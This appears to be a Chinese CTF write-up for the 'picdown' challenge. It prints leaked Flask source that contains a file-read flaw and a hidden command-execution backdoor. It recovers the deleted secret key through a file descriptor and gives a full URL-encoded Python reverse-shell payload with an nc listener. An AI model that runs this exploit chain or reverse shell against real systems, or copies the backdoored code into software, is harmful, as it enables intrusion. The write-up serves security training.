picdown
抓包发现存在文件包含漏洞:
在main.py下面暴露的flask的源代码
from flask import Flask, Response, render_template, request
import os
import urllib app = Flask(__name__) SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE, 'r')
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE) @app.route('/')
def index():
return render_template('search.html') @app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url)
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except Exception as e:
print(e)
value = "SOMETHING WRONG!"
return render_template('search.html', res=value) @app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!" return res if __name__ == '__main__':
app.run(host='0.0.0.0', port=80, use_reloader=False)
代码审计发现,no_one_know_the_manager页面下接收key和shell,key要求和secret_key一样。
但是secret.txt读不了
但是这个文件是用open打开的,会创建文件描述符。我们读这个文件描述符中的内容就好了
找到了key=2e3658a3c99be231c2b3b0cc260528c4
现在可以执行系统命令了
但是不会回显,要反弹shell了。
python脚本反弹shell
/no_one_know_the_manager?key=2e3658a3c99be231c2b3b0cc260528c4&shell=python%20-c%20%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22xx.xx.xx.xx%22,8080));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/bash%22,%22-i%22]);%27
服务器:nc -lvvp 8080
可以成功反弹shell
,最终在/root/flag.txt
中得到flag
:
其他web题目,ctf平台没有上环境...
待续....